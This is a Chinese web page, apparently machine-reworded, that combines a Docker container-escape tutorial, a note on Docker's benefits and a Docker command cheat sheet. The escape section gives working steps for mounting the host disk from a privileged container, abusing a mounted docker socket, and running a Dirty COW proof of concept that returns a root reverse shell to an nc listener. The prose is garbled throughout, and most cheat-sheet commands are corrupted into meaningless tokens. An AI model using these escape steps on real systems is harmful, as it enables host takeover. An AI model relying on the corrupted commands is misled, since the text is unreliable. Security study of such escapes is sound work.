发布信息

干货来啦!带你初探Docker逃逸 (带干货是什么意思)

     2024-10-22 13:28:50     126

本文目录导航:

干货来啦!带你初探Docker逃逸

Docker 是当今经常使用范畴最广的开源容器技术之一,具备高效易用的优势。

但是假设经常使用Docker时采取不当安保战略,则或者 造成系统面临安保要挟。

本期安仔课堂,ISEC试验室的张教员 将为大家引见不同环境下, Docker逃逸至外部宿主机的状况。

一、性能特权形式时的逃逸状况

1.--privileged(特权形式)

特权形式于版本0.6时被引入Docker,准许容器内的root领有外部物理机root权限,而此前容器内root用户仅领有外部物理机个别用户权限。

经常使用特权形式启动容器, 可以失掉少量设施文件访问权限 。

由于当治理员口头docker run —privileged时,Docker容器将被准许访问主机上的一切设施,并可以口头mount命令启动挂载。

当控制经常使用特权形式启动的容器时,docker治理员可经过mount命令将外部宿主机磁盘设施挂载进容器外部, 失掉对整个宿主机的文件读写权限 ,此外还可以 经过写入方案义务等形式在宿主机口头命令 。

详细步骤如下:

1.以特权形式运转一个容器:docker run -it --privileged ubuntu:14.04 /bin/bash

2.检查磁盘文件:fdisk -l

3.此时检查/dev/门路会发现很多设施文件:ls /dev

4.新建目录以备挂载:mkdir /abc

5.将/dev/sda1挂载至 /abc: mount /dev/sda1 /abc

6.最终咱们可以经过访问容器外部的/abc门路来到达访问整个宿主机的目的:ls /abc

7.尝试写文件到宿主机:echo 123 > /abc/home/botasky/escape2

8.检查宿主机中的文件:ls /home/botasky/escape2

2.--cap-add与SYS_ADMIN

Linux内核自版本2.2起引入性能(capabilities)机制,冲破了UNIX/LINUX操作系统中超级用户与个别用户的概念, 准许个别用户口头超级用户权限方能运转的命令 。

截至Linux 3.0版本,Linux中共有 38种capabilities。

Docker容器自动限度为14个capabilities ,治理员可以经常使用--cap-add和--cap-drop选项 为容器准确性能capabilities 。

当容器经常使用特权形式启动时,将被赋予一切capabilities。

此外,在--cap-add的诸多选项中,SYSADMIN意为container进程准许口头mount、umount等一系列系统治理操作,因此当容器以--cap-add=SYSADMIN启动时,也将面临要挟。

二、挂载性能不过后的逃逸状况

1.风险的

妇孺皆知,Docker驳回C/S架构,咱们平时经常使用的Docker命令中,docker即为client,Server端的角色由docker daemon表演,二者之间 通讯形式有以下3种:

其中 经常使用启动通讯为自动形式 ,当容器中进程需在消费环节中与Docker守护进程通讯时,容器自身须要挂载/var/run/文件。

实质上而言,能够访问docker socket 或衔接HTTPS API的进程可以 口头Docker服务能够运转的恣意命令 ,以root权限运转的Docker服务理论可以 访问整个主机系统 。

因此,当容器访问docker socket时,咱们可 经过与docker daemon的通讯对其启动恶意操纵成功逃逸 。

若容器A可以访问docker socket,咱们便可在其外部装置client(docker),经过与宿主机的server(docker daemon)启动交互,运转并切换至不安保的容器B,最终在容器B中控制宿主机。

详细步骤如下:

1.运转一个挂载/var/run/的容器:docker run -it -v /var/run/:/host/var/run/ ubuntu:14.04 /bin/bash

2.在容器内装置Docker作为client(此步骤或者须要改换源):apt-get install

3.检查宿主机Docker消息:docker -H unix:///host/var/run/ info

4.运转一个新容器并挂载宿主机根门路:docker -H unix:///host/var/run/ run -v /:/aa -it ubuntu:14.04 /bin/bash

可以看见@符号后的Docker ID曾经出现变动:

5.在新容器/aa门路下成功对宿主机资源的访问:ls /aa

三、存在Dirty Cow破绽时的逃逸状况

1.脏牛破绽(CVE-2016-5195)与VDSO(虚构灵活共享对象)

Dirty Cow(CVE-2016-5195)是Linux内核中的权限优化破绽,源于Linux内核的内存子系统在处置写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),准许恶意用户提权失掉其余只读内存映射的写访问权限。

竞争条件 意为义务口头顺序意外,或者 造成运行解体或面临攻打者的代码口头要挟 。

应用该破绽,攻打者可在其指标系统内优化权限,甚至 取得root权限 。

VDSO 就是Virtual Dynamic Shared Object(虚构灵活共享对象),即内核提供的虚构。

该文件位于内核而非磁盘,程序启动时,内核把蕴含某的内存页映射入其内存空间,对应程序就可作为个别经常使用其中的函数。

在容器中应用VDSO内存空间中的“clock_gettime() ”函数可对脏牛破绽动员攻打, 令系统解体并取得root权限的shell,且阅读容器之外主机上的文件 。

&验证环境

GitHub上已有人提供了测试环境与PoC,咱们可以经过以下命令失掉。

1. 运转验证容器:docker-compose run dirtycow /bin/bash

2. 本地开启nc,启动观察(PoC中设置的反弹地址为本地的1234端口):nc -lvp 1234

3. 编译PoC并运转,期待shell反弹:make &./0xdeadbeef

经过ID命令,可以发现这个shell为root权限:

参考&援用

docker的好处,为什么经常使用docker来部署主机

Docker的经常使用Docker是一个轻量级的虚构化处置方案,你可以成功秒级的虚构机启动、十分轻量级的虚构化。

团体经常使用了解看来,它可以成功一个相似于版本治理Git一样的轻量化的形态保留。

Docker有两个十分关键的概念: 镜像和容器。

镜像是呈载容器的实体,一切容器都是运转在镜像之上。

用版本治理的角度来看,镜像就像是某一个节点,它可以派生出不同的分支,你可以在不同分支上做不同的事件。

可以构想成一棵树,最基本的镜像是主树干,主树干可以分出旁支树干,而旁支树干可以分出更细的旁支,而树干上可以成长树枝。

比如,你经常使用Docker,从官网仓库下载一个ubuntu镜像,把它作为最基础的镜像。

而后在下面运转一个容器,这个容器里下载Nginx,再以这个容器为基础生成一个新的镜像,以后这个镜像生成的容器就都是ubuntu+nginx为基础。

但是你上班环境或者须要你经常使用Apache来上班,你也想有一个ubuntu+apache为基础的镜像,于是你可以经常使用最基础的ubuntu镜像运转一个容器,在外面下载装置Apache,而后以这个容器为基础,保留一个ubuntu+apache的镜像,以后在这个镜像基础上运转的一切容器都领有了一个apache环境。

Docker小白的福音:50条Docker命令清单,干就完了!

Docker可以让开发人员、运维人员更容易经常使用容器创立、部署和运转运行程序。

把握一些必备的Docker命令关于经常使用Docker的工程师十分关键,那么当天笔者给大家整顿了一份Docker的命令备忘单,宿愿大家可以好好保留,在经常使用的时刻可以拿进去查阅经常使用。

让咱们间接开局!

一、Docker 容器命令列出一切正在运转的容器dockerps

还有两个等同作用的命令:

Docker container ps

docker container ls

列出一切容器(蕴含一切形态)dockerps-a

docker ps -a中的-a是-all的缩写。

列出一切正在运转的容器(带文件大小)dockerps-s 带干货是什么意思

等同作用的命令:

docker container ls -s

docker ps -s中的-s是-size的缩写,代表了容器在其可写层中写入的数据的大小,virtual示意此容器的镜像经常使用的磁盘空间量。

列出正在运转的容器的 IDdockerps-q

等同作用的命令:

docker container ls -q

docker ps -q中的-q是-quiet的缩写。

列出一切容器的 ID(蕴含一切形态)dockerps-a-q

下面的-a和-q的参数可以兼并:

dockerps-aq过滤容器列表dockerps-fname=un

docker ps -f name=un中的-f是-filter的缩写。

依据形态过滤容器:

dockerps-a-fstatus=running二、Docker创立容器经常使用 Docker Image 创立一个新容器dockercreate<image_name>

例如咱们创立Nginx镜像:

dockercreatenginx

容器创立后,咱们口头命令docker ps验证一下:

Docker Image 创立新容器带上名字dockerps-a0

例如咱们创立一个名为nginx-container的镜像:

dockerps-a1

而后咱们再用docker ps -a验证一下镜像能否曾经创立。

三、Docker启动容器启动 Docker 容器

咱们可以经常使用docker start容器 ID 或称号来经常使用命令:

dockerps-a2

比如咱们启动nginx:

dockerps-a3中止正在运转的 Docker 容器

和启动命令相似,咱们可以经常使用docker stop 容器 ID 或称号来经常使用命令:

dockerps-a4

比如咱们中止nginx:

dockerps-a5重启 Docker 容器

和启动、中止命令相似,咱们可以经常使用docker restart 容器 ID 或称号来经常使用命令:

dockerps-a6

比如咱们重启nginx:

暂停正在运转的容器

和启动、重启、中止命令相似,咱们可以经常使用docker pause 容器 ID 或称号来经常使用命令:

dockerps-a7

比如咱们暂停nginx:

dockerps-a8

敞开暂停可以经常使用:

dockerps-a9

比如咱们敞开暂停nginx:

dockerps-s0四、Docker 镜像命令列出一切 Docker 镜像dockerps-s1列出一切 Docker 镜像 IDdockerps-s1-q构建 Docker 镜像dockerps-s3

Docker 会尝试在 . 中找到一个名为的文件Dockerfile,context_dir而后它会经常使用该Dockerfile文件创立一个 Docker 映像。

构建 Docker 镜像并用标签辨别dockerps-s4经常使用自定义命名的 Dockerfile 构建 Docker 映像dockerps-s5显示 Docker 映像的历史记载dockerps-s6重命名现有的 Docker 映像dockerps-s7删除 Docker 镜像dockerps-s8强迫删除 Docker 镜像dockerps-s9五、Docker 日志失掉 Docker 容器的日志dockerps-q0监控 Docker 容器日志dockerps-q1

相似于Linux命令中的tail -f

失掉容器日志的最后 n 行dockerps-q2六、Docker 网络命令列出一切网络dockerps-q3创立网络dockerps-q4将 Docker 容器衔接到网络dockerps-q5断开 Docker 容器与网络的衔接dockerps-q6删除网络dockerps-q7七、Docker 卷列出卷dockerps-q8删除一切未经常使用的本地卷dockerps-q9卷的详细消息dockerps-a-q0八、Docker Compose命令构建 docker compose 文件dockerps-a-q1运转 docker compose 文件dockerps-a-q2列出在 docker compose 文件中申明的 docker 镜像dockerps-a-q3启动曾经经常使用 docker compose 文件创立的容器dockerps-a-q4在 中运转其中一个运行程序dockerps-a-q5从 docker compose 中删除 docker 容器dockerps-a-q6从 docker compose 审核 docker 容器形态dockerps-a-q7九、docker hub命令在 docker hub 中搜查镜像dockerps-a-q8从 docker hub 下载镜像dockerps-a-q9向 docker hub 启出发份验证dockerps-aq0将图像上行到 docker hubdockerps-aq1十、批量肃清/删除中止一切容器dockerstop-f$(dockerps-a-q)删除一切容器dockerrm-f$(dockerps-a-q)删除一切镜像dockerrmi-f$(dockerps-s1-q)总结

Docker如今曾经经常使用的十分频繁了,当天笔者曾经给大家罗列了50个Docker罕用命令,大家在经常使用Docker的时刻,遇到不会的可以返上来看看。

相关内容 查看全部